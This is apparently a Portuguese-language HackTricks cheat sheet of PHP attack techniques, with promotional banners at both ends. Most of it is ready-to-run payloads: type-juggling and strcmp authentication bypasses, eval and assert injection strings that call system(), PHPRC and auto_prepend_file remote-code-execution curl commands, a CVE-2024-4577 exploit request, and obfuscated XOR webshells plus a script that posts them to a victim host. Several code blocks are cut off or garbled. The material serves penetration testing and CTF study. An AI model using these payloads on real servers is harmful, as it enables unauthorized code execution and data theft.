# Truques do PHP
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% embed url="https://websec.nl/" %} ## Localização comum dos Cookies: Isso também é válido para cookies do phpMyAdmin. Cookies: ``` PHPSESSID phpMyAdmin ``` Localizações: ``` /var/lib/php/sessions /var/lib/php5/ /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## Bypassando comparações em PHP ### Comparações frouxas/Type Juggling ( == ) Se `==` é usado em PHP, então existem casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo, se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`. Tabelas de comparação em PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../.gitbook/assets/image (567).png>) {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} * `"string" == 0 -> True` Uma string que não começa com um número é igual a um número * `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas com outros números/strings com True como resultado se os números forem iguais (números em uma string são interpretados como números) * `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0 * `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0 * `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderia contornar a comparação. Você pode encontrar **strings já hashadas** com este formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0 Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in\_array()** **Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir como true o terceiro argumento para fazer uma comparação estrita): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); //True var_dump(in_array(0, $values, true)); //False ``` ### strcmp()/strcasecmp() Se esta função é usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controla um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` O mesmo erro ocorre com `strcasecmp()` ### Tipagem estrita Mesmo se `===` estiver **sendo usado**, pode haver erros que tornam a **comparação vulnerável** ao **type juggling**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg\_match(/^.\*/) **`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e, se não estiver, o código pode continuar sua execução). #### Bypass de nova linha No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode ser capaz de contornar essa verificação. Exemplo: ```php $myinput="aaaaaaa 11111111"; //Notice the new line echo preg_match("/1/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/1.*$/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/^.*1/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, envie em **várias linhas**: ```php { "cmd": "cat /etc/passwd" } ``` Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **Bypass de erro de comprimento** (Este bypass foi aparentemente testado no PHP 5.2.5 e não consegui fazê-lo funcionar no PHP 7.3.15)\ Se você enviar para `preg_match()` uma entrada muito **grande e válida**, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` #### Desvio ReDoS Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
Em resumo, o problema ocorre porque as funções `preg_*` em PHP são baseadas na [biblioteca PCRE](http://www.pcre.org/). No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço de pilha. É possível definir um limite para a quantidade de recursões permitidas, mas no PHP esse limite [é padrão para 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), o que é mais do que cabe na pilha. Neste [tópico do Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) também foi mencionado no post, onde é discutido mais a fundo sobre esse problema. Nossa tarefa agora estava clara:\ **Enviar uma entrada que faria o regex fazer mais de 100.000 recursões, causando SIGSEGV, fazendo a função `preg_match()` retornar `false`, fazendo com que a aplicação pense que nossa entrada não é maliciosa, lançando a surpresa no final do payload algo como `{system()}` para obter SSTI --> RCE --> flag :)**. Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que, como a [documentação do PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) afirma, é padrão para 1.000.000 (1M) na variável `pcre.backtrack_limit`.\ Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` ### Tipificação Fraca para ofuscação em PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 $obfs += 0.2; //float 2.2 $obfs = 1 + "7 IGNORE"; //int 8 $obfs = "string" + array("1.1 striiing")[0]; //float 1.1 $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` ## Executar Após Redirecionamento (EAR) Se o PHP estiver redirecionando para outra página, mas nenhum **`die`** ou **`exit`** função é **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo: ```php ``` ## Exploração de Traversal de Caminho e Inclusão de Arquivo Verifique: {% content-ref url="../../../pentesting-web/file-inclusion/" %} [file-inclusion](../../../pentesting-web/file-inclusion/) {% endcontent-ref %} ## Mais truques * **register\_globals**: Em **PHP < 4.1.1.1** ou se estiver mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET se elas tiverem um valor, por exemplo $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, enviando parâmetros HTTP você pode sobrescrever variáveis** que são usadas no código. * Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo local**, portanto, se dentro de um domínio **diferentes cookies são usados em caminhos diferentes** você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\ Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome** você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome correspondente em path2). * Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados. * [**LFI e RCE usando envoltórios php**](../../../pentesting-web/file-inclusion/) ### password\_hash/password\_verify Essas funções são tipicamente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\ Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT.** E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72 bytes**. Portanto, ao tentar gerar um hash de algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72B serão usados: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` ### Bypass de cabeçalhos HTTP abusando de erros PHP #### Causando erro após definir cabeçalhos A partir [**deste thread no Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que ao enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não irá definir cabeçalhos na resposta. Permitindo assim a bypass, por exemplo, de cabeçalhos CSP sendo definidos em códigos como: ```php ) ## SSRF em funções PHP Verifique a página: {% content-ref url="php-ssrf.md" %} [php-ssrf.md](php-ssrf.md) {% endcontent-ref %} ## Execução de código **system("ls");**\ **\`ls\`;**\ **shell\_exec("ls");** [Verifique isso para mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/) ### **RCE via** **preg\_replace()** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Para executar o código no argumento "replace" é necessário pelo menos uma correspondência. Essa opção do preg\_replace foi **descontinuada a partir do PHP 5.5.0.** ### **RCE via Eval()** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# '.system('uname -a');// '.phpinfo().' ``` ### **RCE via Assert()** Esta função dentro do php permite que você **execute código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso alterar a execução). Geralmente a variável do usuário será inserida no meio de uma string. Por exemplo:\ `assert("strpos($_GET['page']),'..') === false")` --> Neste caso, para obter **RCE** você poderia fazer: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` Você precisará **quebrar** a **sintaxe** do código, **adicionar** sua **carga útil** e então **corrigi-lo novamente**. Você pode usar operações lógicas como "**and**" ou "%26%26" ou "|". Note que "or", "||" não funcionam porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada. **Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'` **Outra opção** (se você tiver o código interno) é modificar alguma variável para alterar a execução: `$file = "hola"` ### **RCE via usort()** Essa função é usada para classificar uma matriz de itens usando uma função específica.\ Para abusar dessa função: ```php VALUE: );phpinfo();# ``` ```php VALUE: );}[PHP CODE];# ``` Pode também usar **//** para comentar o resto do código. Para descobrir o número de parênteses que precisa fechar: - `?order=id;}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ';'`). Provavelmente estamos a perder um ou mais parênteses. - `?order=id);}//`: obtemos um **aviso**. Parece estar correto. - `?order=id));}//`: obtemos uma mensagem de erro (`Parse error: syntax error, unexpected ')' i`). Provavelmente temos demasiados parênteses de fecho. ### **RCE via .httaccess** Se puder **carregar** um **.htaccess**, então pode **configurar** várias coisas e até executar código (configurando que ficheiros com extensão .htaccess podem ser **executados**). Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells) ### RCE via Variáveis de Ambiente Se encontrar uma vulnerabilidade que permita **modificar variáveis de ambiente em PHP** (e outra para carregar ficheiros, embora com mais pesquisa talvez isso possa ser contornado), poderia abusar desse comportamento para obter **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar). - **`PHPRC`** : Instrui o PHP sobre **onde localizar o seu ficheiro de configuração**, normalmente chamado `php.ini`. Se puder carregar o seu próprio ficheiro de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo ficheiro carregado. Este segundo ficheiro contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código. 1. Carregar um ficheiro PHP contendo o nosso código shell 2. Carregar um segundo ficheiro, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o ficheiro que carregamos no passo 1 3. Definir a variável `PHPRC` para o ficheiro que carregamos no passo 2. - Obtenha mais informações sobre como executar esta cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - outra opção - Se não puder carregar ficheiros, poderia usar no FreeBSD o "ficheiro" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** do pedido enviado para o `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Ou para obter RCE, ative **`allow_url_include`** e antecipe um ficheiro com **código PHP em base64**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` - Técnica [**deste relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845). ### XAMPP CGI RCE - CVE-2024-4577 O servidor web analisa os pedidos HTTP e passa-os para um script PHP executando um pedido como [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) como `php.exe cgi.php foo=bar`, o que permite uma injeção de parâmetros. Isso permitiria injetar os seguintes parâmetros para carregar o código PHP do corpo: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` Além disso, é possível injetar o parâmetro "-" usando o caractere 0xAD devido à normalização posterior do PHP. Confira o exemplo de exploit neste [**post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} User-Agent: curl/8.3.0 Accept: */* Content-Length: 23 Content-Type: application/x-www-form-urlencoded Connection: keep-alive ``` ## Análise estática do PHP Verifique se é possível inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` Se estiver depurando uma aplicação PHP, você pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciando o apache: `sudo systemctl restart apache2` ### Desofuscando código PHP Você pode usar o **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.** ## Wrappers e Protocolos PHP Wrappers e protocolos PHP podem permitir que você **bypass write and read protections** em um sistema e comprometê-lo. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). ## RCE não autenticado do Xdebug Se você perceber que o **Xdebug** está **habilitado** em uma saída `phpconfig()`, você deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) ## Variáveis variáveis ```php $x = 'Da'; $$x = 'Drums'; echo $x; //Da echo $$x; //Drums echo $Da; //Drums echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` ## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"]) Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como: {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} [php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md) {% endcontent-ref %} ## Executar PHP sem letras [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) ### Usando octal ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` ### **XOR** ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### Código shell XOR fácil De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta maneira: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` Portanto, se você pode **executar PHP arbitrário sem números e letras**, você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` Para uma explicação mais detalhada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match) ### Shellcode XOR (dentro de eval) ```bash #!/bin/bash if [[ -z $1 ]]; then echo "USAGE: $0 CMD" exit fi CMD=$1 CODE="\$_='\ ``` ```php lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ``` ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` ### Semelhante ao Perl ```php
{% embed url="https://websec.nl/" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).